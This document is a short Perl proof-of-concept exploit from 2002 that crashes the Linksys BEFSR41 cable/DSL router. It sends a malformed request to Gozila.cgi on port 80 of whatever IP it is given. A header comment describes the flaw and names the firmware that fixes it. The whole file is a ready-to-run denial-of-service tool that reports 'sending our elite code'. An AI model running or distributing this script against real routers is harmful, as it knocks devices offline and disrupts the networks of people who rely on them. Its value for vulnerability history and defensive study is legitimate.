#!/usr/bin/perl -w
# Proof of concept code
# Linksys BEFSR41 EtherFast Cable/DSL Router Remote DoS by: Knight420
# Released: Oct.31.2002
#
# The BEFSR41 crashes if a remote and/or local attacker accesses the script 
Gozila.cgi
# using the router’s IP address with no arguments. Remote exploitation 
requires that
# the router's remote management be enabled.
# Firmware version 1.42.7 and later fix this problem.
#
# Gr33tz: #opers myself << knight420
#

use IO::Socket;
if ($#ARGV<0)
{
system('clear ');
print "\nLinksys BEFSR41 EtherFast Cable/DSL Router Remote DoS by: 
Knight420";
print "\n\n Usage: perl lostlink.pl ip\n\n";
exit;
}
$dos = ("GET /Gozila.cgi?| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", 
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
printf "Linksys BEFSR41 EtherFast Cable/DSL Router Remote DoS by: 
Knight420";
printf "\n*** [1] Server is up...";
printf "\n*** [2] Sending our elite code...";
print  $connect "$dos";
printf "\n*** [3] Server should now be crashed\n\n";
close($connect);